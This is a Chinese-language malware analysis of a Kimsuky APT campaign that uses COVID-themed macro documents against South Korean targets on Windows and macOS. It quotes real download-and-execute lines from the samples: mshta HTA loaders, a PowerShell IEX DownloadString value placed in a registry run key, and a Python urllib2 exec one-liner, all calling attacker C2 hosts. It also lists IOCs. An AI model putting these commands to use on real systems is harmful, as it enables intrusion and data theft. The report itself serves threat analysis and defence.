# Kimsuky APT组织利用疫情话题针对南韩进行双平台的攻击活动的分析
本文一共4237字,57张图 预计阅读时间13分钟
图片1 封面
一.前言
kimsuky
APT组织(又名Mystery Baby, Baby Coin, Smoke Screen, BabyShark, Cobra Venom) ,该组织一直针对于韩国的智囊团,政府组织,新闻组织,大学教授等等进行活动.并且该组织拥有windows
平台的攻击能力,载荷便捷,阶段繁多。并且该组织十分活跃.其载荷有带有漏洞的hwp文件,恶意宏文件,释放载荷的PE文件等
近日,随着海外病例的增加,使用新型冠状病毒为题材的攻击活动愈来愈多.例如:海莲花APT组织通过白加黑的手段向中国的政府部门进行鱼叉投递,摩诃草APT组织冒充我国的重点部门针对政府和医疗部门的攻击活动,毒云藤和蓝宝菇组织通过钓鱼的方式窃取人员的邮箱密码,借以达到窃密或者是为下一阶段做准备的目的以及蔓灵花组织继续采用SFX文档的方式对我国重点设施进行投放.
同时,在朝鲜半岛的争夺也随之展开.Gcow
安全团队追影小组在日常的文件监控之中发现名为kimsuky
APT组织采用邮件鱼叉的方式针对韩国的新闻部门,政府部门等进行攻击活动,并且在此次活动之中体现出该组织在攻击过程中使用轻量化,多阶段脚本载荷的特点.并且在本次活动中我们看到了该组织使用python
针对MacOS
平台进行无文件的攻击活动.
下面笔者将从攻击Windows
平台的样本以及攻击MacOs
平台的样本进行分析
二.Windwos平台样本分析:
1.코로나바이러스 대응.doc(冠状病毒反应.doc)
0x00.样本信息:
图片2 样本코로나바이러스 대응.doc信息
该样本利用社会工程学的办法,诱使目标点击“启用内容”来执行宏的恶意代码。启用宏后显示的正文内容。通过谷歌翻译,提取到几个关键词:新型冠状病毒 可以看出,这可能是针对韩国政府发起的一次攻击活动。
图片3 诱饵文档原文以及翻译
攻击者通过鱼叉邮件附件的方式将恶意载荷投递给受害目标
图片4 钓鱼邮件附件
0x01. 样本分析
利用olevba
工具提取的宏代码如下: 其将执行的命令通过hex编码
的形式在宏里面自己解码后隐藏执行 所执行的命令为:
mshta http://vnext.mireene.com/theme/basic/skin/member/basic/upload/search.hta /f
图片5 执行mshta命令加载search.hta
search.hta
其主要内嵌的是vbs
代码,请求URL
以获取下一段的vbs
代码,并且执行获取到的vbs
代码
URL地址为:http://vnext.mireene.com/theme/basic/skin/member/basic/upload/eweerew.php?er=1
图片6 获取下一段vbs代码并执行
1.vbs
下一段的vbs
代码就是其侦查者的主体代码:
1.信息收集部分:
收集本机名以及本机所在域的名称,ip地址,用户名称, %programfiles%下的文件, %programfiles% (x86)下的文件,安装软件信息,开始栏的项目,最近打开的项目,进程列表,系统版本信息,set设置信息,远程桌面连接信息, ,arp信息, %appdata%\Microsoft下所有文件以及子文件信息,文档文件夹信息,下载文件信息,powershell文件夹下的文件信息,盘符信息,宏的安全性信息,outlook信息等等
图片7 信息收集1
图片8 信息收集2
2.添加计划任务以布置下一阶段的载荷:
伪装成Acrobat
更新的任务
执行命令: mshta http://vnext.mireene.com/theme/basic/skin/member/basic/upload/cfhkjkk.hta
获取当前时间,延迟后执行schtasks
创造该计划任务
图片9 schtasks创造计划任务
cfhkjkk.hta
和search.hta
一样,也是一样的中转的代码,URL为:http://vnext.mireene.com/theme/basic/skin/member/basic/upload/eweerew.php?er=2
图片10 中转hta
2.vbs
其同样也是vbs
文件.其主要的功能是查看%Appdata%\Windows\desktop.ini是否存在,如果存在则利用certutil -f -encode对文件进行编码并且输出为%Appdata%\Windows\res.ini,并且从URL地址下载http://vnext.mireene.com/theme/basic/skin/member/basic/upload/download.php?param=res1.txt
编码后的powershell
命令隐藏执行,执行成功后删除Appdata%\Windows\desktop.ini.并且从URL地址下载http://vnext.mireene.com/theme/basic/skin/member/basic/upload/download.php?param=res2.txt
编码后的powershell
命令隐藏执行.
图片11 2.vbs
res1.txt
该powershell
命令主要功能就是读取Appdata%\Windows\res.ini文件里的内容,再组成HTTP
报文后利用UploadString
上传到C2
,C2
地址为:http://vnext.mireene.com/theme/basic/skin/member/basic/upload/wiujkjkjk.php
图片12 res1.txt
res2.txt
该powershell
命令主要功能是通过对比按键ASCII
码值记录信息
我们可以看到被黑的站点是一个购物平台,攻击者应该入侵这个购物平台后把相应的恶意载荷挂到该网站.
图片13 被入侵的网站截图
图片14 网站内容翻译
此外我们通过比较相同的宏代码发现了其一个类似的样本
2.비건 미국무부 부장관 서신 20200302.doc(美国国务卿素食主义者20200302.doc)
0x00.样本信息
图片15 样本비건 미국무부 부장관 서신 20200302.doc信息
该样本利用社会工程学的办法,诱使目标点击“启用内容”来执行宏的恶意代码。启用宏后显示的正文内容。通过谷歌翻译,提取到几个关键词:朝韩问题,政策,朝鲜半岛。可以看出,这可能是针对韩国政府机构发起的一次攻击活动。
图片16 诱饵文档原文以及翻译
0x01 样本分析
其与上文所述相同不过,本样本执行的命令是:
mshta http://nhpurumy.mireene.com/theme/basic/skin//member/basic/upload/search.hta /f
图片17 用mshta加载search.hta
相同的中转search.hta
中转地址为:http://nhpurumy.mireene.com/theme/basic/skin/member/basic/upload/eweerew.php?er=1
图片18 获取下一阶段vbs代码并且执行
其执行的vbs代码与上文类似,在这里就不做赘述了.不过其计划任务所执行的第二部分hta
的url
地址为: http://nhpurumy.mireene.com/theme/basic/skin/member/basic/upload/cfhkjkk.hta
图片19 添加计划任务并且延迟执行
之后的部分代码与上文相同,不过其C2
的地址为nhpurumy.mireene.com
。在此就不赘述了。
被入侵的网站可能是一个广告公司:
图片20 被入侵公司官网截图
图片21 被入侵公司官网内容
3.붙임. 전문가 칼럼 원고 작성 양식.doc(附上.专家专栏手稿表格.doc)
0x01文档信息:
样本信息:
图片22 样本붙임. 전문가 칼럼 원고 작성 양식.doc信息
该样本利用社会工程学的办法,诱使目标点击“启用内容”来执行宏的恶意代码。启用宏后显示的正文内容。通过谷歌翻译,提取到几个关键词:稿件、专家专栏。可以看出,这可能是针对韩国新闻机构发起的一次攻击活动。
图片23 诱饵文档内容以及翻译
0x02 恶意宏分析
利用olevba
工具提取的宏代码如下:
图片24 olevba提取宏代码
显示文档的内容:
图片25 显示文档内容
隐藏执行powershell.exe
代码读取%TEMP%\bobo.txt
的内容,并且使用iex
执行
图片26 隐藏执行powershell执行bobo.txt里内容
Bobo.txt
内容
图片27 Bobo.txt中的内容
从http://mybobo.mygamesonline.org/flower01/flower01.ps1
上下载第二段powershell
载荷flower01.ps1
并且利用iex
内存执行
第二段powershell
载荷如图所示:
图片28 第二段powershell载荷
0x03 恶意powershell分析
Powershell后门配置信息:
图片29 第二段powershell载荷配置信息
写入注册表启动项,键名: Alzipupdate
,键值:
cmd.exe /c powershell.exe -windowstyle hidden IEX (New-Object System.Net.WebClient).DownloadString('http://mybobo.mygamesonline.org/flower01/flower01.ps1')
开机启动就远程执行本ps1文件
图片30 添加注册表以开机启动
收集信息:最近使用的项目(文件),%ProgramFiles%以及C:\Program Files (x86)下的文件,系统信息,当前进程信息
图片31 收集本机信息
将这些结果写入%Appdata%\flower01\flower01.hwp
中
图片32 将收集结果写入flower01.hwp中
Flower01.hwp
内容:
图片33 flower01.hwp内容
将收集到的信息循环上传到C2
并且接收回显执行
图片34 将收集到的信息上传到c2
上传函数:
将数据上传到http://mybobo.mygamesonline.org/flower01/post.php
图片35 上传flower01.hwp文件
图片36 具体上传代码
下载函数:
请求URL地址:http://mybobo.mygamesonline.org/flower01/flower01.down
获得 第二阶段被加密的载荷,解密后通过添加代码块以及新建工作的方式指行第二段载荷
图片37 下载解密并执行
执行完毕后向C2
地址请 求:"http://mybobo.mygamesonline.org/flower01/del.php?filename=flower01
"标志载荷已经执行成功
图片38 反馈执行成功信息
为了方便各位看官理解,刻意绘制了两张流程图描述该后门的情况
图一如下: 是第三个样本的流程图 全过程存在一个恶意文件落地.
图片39 kimsuky针对windows平台攻击的样本流程图(一)
图二如下: 是前两个样本的流程图 全过程无任何恶意文件落地
图片40 kimsuky针对windows平台攻击的样本流程图(二)
三.MacOS平台的样本分析:
1.COVID-19 and North Korea.docx(COVID-19与朝鲜.docx)
0x00. 样本信息
图片41 样本COVID-19 and North Korea.docx信息
0x01 样本分析
该样本是docx文件,攻击者运用社会工程学的手法,设置了一张在MAC
系统启动宏文档的图片,来诱导受害者点击启动宏,当受害者启动宏后该样本就会移除图片显示出文档的内容
图片42 诱饵文档内容与翻译
由此可见,我们可以看到该样本与新型冠状病毒的话题有关,可能针对的是韩国的政府机构
该样本利用远程模板注入技术对远程模板进行加载
远程模板URL:"http://crphone.mireene.com/plugin/editor/Templates/normal.php?name=web
"
图片43 远程模板注入技术
宏代码会将之前遮盖的部分显示,用以迷惑受害者,相关代码:
图片44 去掉保护显示文档
该样本会判断是否是MAC
系统,若是MAC
系统就会执行python
命令下载第一阶段的python
代码
命令为:
python -c exec(urllib2.urlopen(urllib2.Request('http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=v1')).read())
图片45 执行第一阶段python恶意代码
第一阶段的python
代码主要起到一个中转的作用
其会执行如下代码去加载第二阶段的python
代码:
urllib2.urlopen(urllib2.Request('http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=v60')).read()
图片46 执行第二阶段python恶意代码
第二段python
代码类似于一个侦察者:
a.收集信息
其会收集系统位数信息,系统信息,所安装的APP列表, 文件列表, 下载文件列表, 盘符信息等,并且将这些数据写入对应的txt
文件中于恶意样本所创造的工作目录下
图片47 收集信息
b.打包所收集的信息
首先先删除backup.rar
文件,再将工作目录下的所有txt文件利用zip -m -z命令进行打包,输出为backup.rar
文件
图片48 打包信息
c.将收集的信息回传到C2
通过创建Http
链接,将rar
的数据组成报文,发送到C2
: http://crphone.mireene.com/plugin/editor/Templates/upload.php
图片49 将信息上传到C2
d.向C2请求获取新的python代码
更新代码:
urllib2.urlopen(urllib2.Request('http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=new')).read()
从http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=new
获取新的Python
载荷
图片50 获取下一阶段python载荷
其创造一个线程,循环执行收集机器信息并且上传,不断向C2请求执行新的python代码,中间休息3
秒,这也解释了为什么在打包信息的时候需要先删除backup.rar
图片51 循环执行收集机器信息并且上传,不断向C2请求执行新的python代码
从本次C2的域名: crphone.mireene.com
来看,应该是一个卖智能手机的网站
图片52 被入侵网站页面
图片53 页面里的内容
为了方便各位看官理解,笔者绘制了一张流程图:
图片54 针对macos平台无文件攻击的样本的流程图
四.关联与总结:
1.关联
(1).组成上线报文的特征
在kimsuky
APT组织之前的样本中所组成的上线报文中含有类似于7e222d1d50232
以及WebKitFormBoundarywhpFxMBe19cSjFnG
的特征上线字符
WebKitFormBoundarywhpFxMBe19cSjFnG:
图片55 关联-特征上线报文(一)
7e222d1d50232:
图片56 关联-特征上线报文(二)
(2).信息收集代码相似性
在kimsuky
APT组织之前的样本中,我们发现了该组织在进行windows
平台下的信息收集代码存在很大的相似性.比如收集信息所使用的命令,包含了上文所提到的各类信息收集的内容.虽然在较新的时候做了简化.但是依旧可以反映出二者的同源性
图片57 关联-信息收集代码相似性
2.总结
kimsukyAPT组织是值得关注的威胁者
Kimsuky
APT组织作为一个十分活动的APT组织,其针对南韩的活动次数也愈来愈多,同时该组织不断的使用hwp文件,释放诱饵文档可执行文件(scr),恶意宏文档的方式针对Windows目标进行相应的攻击.同时恶意宏文档还用于攻击MacOs目标之中,这与相同背景的Lazarus组织有一定的相似之处,该组织拥有了针对windows
,MacOs
两大平台的攻击能力。日后说不一定会出现Andorid
端的攻击框架。
同时该组织的载荷也由之前的PE
文件载荷逐渐变为多级脚本载荷,这不仅仅增加了其灵活性,而且有助于其逃过部分杀毒软件的查杀.但是其混淆的策略不够成熟,所以其对规避杀软的能力还是较弱。
并且该组织的后门逐渐采取少落地或者不落地的方式,这在一定层面上加大了检测的难度.但是其没有考虑到AMSI
以及scriptblock
等.所以杀毒软件依旧是可以进行防护的.
最后,该组织的成员应该是通过入侵该网站后在该网站下挂上了部署C2以做好白名单策略,减少被目标防护软件的检测的概率.比如在这次活动中,其入侵带有动态域名的网站将载荷不至于上面。同时该税法也在之前的活动中有所体现。
正如一开始所讲的那样该组织是一个很值得关注的威胁者.不过该组织现在仍然处于上身阶段,其不断进行自我的更新以及广撒网式的大量投递样本也表现出其的不成熟性,但这更需要我们保持警惕.以及与之有相同背景的Group123
以及Konni
APT组织.
五.IOCs:
MD5:
757a71f0fbd6b3d993be2a213338d1f2 5f2d3ed67a577526fcbd9a154f522cce 07D0BE79BE38ECB8C7B1C80AB0BD8344 A4388C4D0588CD3D8A607594347663E0 5EE1DE01EABC7D62DC7A4DAD0B0234BF 1B6D8837C21093E4B1C92D5D98A40ED4 A9DAC36EFD7C99DC5EF8E1BF24C2D747 163911824DEFE23439237B6D460E8DAD 9F85509F94C4C28BB2D3FD4E205DE857 5F2D3ED67A577526FCBD9A154F522CCE
C2:
vnext[.]mireene[.]com
nhpurumy[.]mireene[.]com
mybobo[.]mygamesonline[.]org
crphone[.]mireene[.]com
URL:
vnext[.]mireene[.]com/theme/basic/skin//member/basic/upload/search[.]hta vnext[.]mireene[.]com/theme/basic/skin/member/basic/upload/eweerew[.]php?er=1 vnext[.]mireene[.]com/theme/basic/skin/member/basic/upload/cfhkjkk[.]hta vnext[.]mireene[.]com/theme/basic/skin/member/basic/upload/eweerew[.]php?er=2 vnext[.]mireene[.]com/theme/basic/skin/member/basic/upload/download[.]php?param=res1.txt vnext[.]mireene[.]com/theme/basic/skin/member/basic/upload/download[.]php?param=res2.txt vnext[.]mireene[.]com/theme/basic/skin/member/basic/upload/wiujkjkjk[.]php nhpurumy[.]mireene[.]com/theme/basic/skin//member/basic/upload/search[.]hta nhpurumy[.]mireene[.]com/theme/basic/skin/member/basic/upload/eweerew[.]php?er=1 nhpurumy[.]mireene[.]com/theme/basic/skin/member/basic/upload/cfhkjkk[.]hta nhpurumy[.]mireene[.]com/theme/basic/skin/member/basic/upload/eweerew[.]php?er=2 /nhpurumy[.]mireene[.]com/theme/basic/skin/member/basic/upload/download[.]php?param=res1.txt nhpurumy[.]mireene[.]com/theme/basic/skin/member/basic/upload/download[.]php?param=res2.txt nhpurumy[.]mireene[.]com/theme/basic/skin/member/basic/upload/wiujkjkjk[.]php crphone[.]mireene[.]com/plugin/editor/Templates/normal[.]php?name=web crphone[.]mireene[.]com/plugin/editor/Templates/filedown[.]php?name=v1 crphone[.]mireene[.]com/plugin/editor/Templates/filedown[.]php?name=v60 crphone[.]mireene[.]com/plugin/editor/Templates/upload[.]php crphone[.]mireene[.]com/plugin/editor/Templates/filedown[.]php?name=new crphone[.]mireene[.]com/plugin/editor/Templates/filedown[.]php?name=normal mybobo[.]mygamesonline[.]org/flower01/post[.]php mybobo[.]mygamesonline[.]org/flower01/flower01[.]down mybobo[.]mygamesonline[.]org/flower01/del[.]php?filename=flower01 mybobo[.]mygamesonline[.]org/flower01/flower01.ps1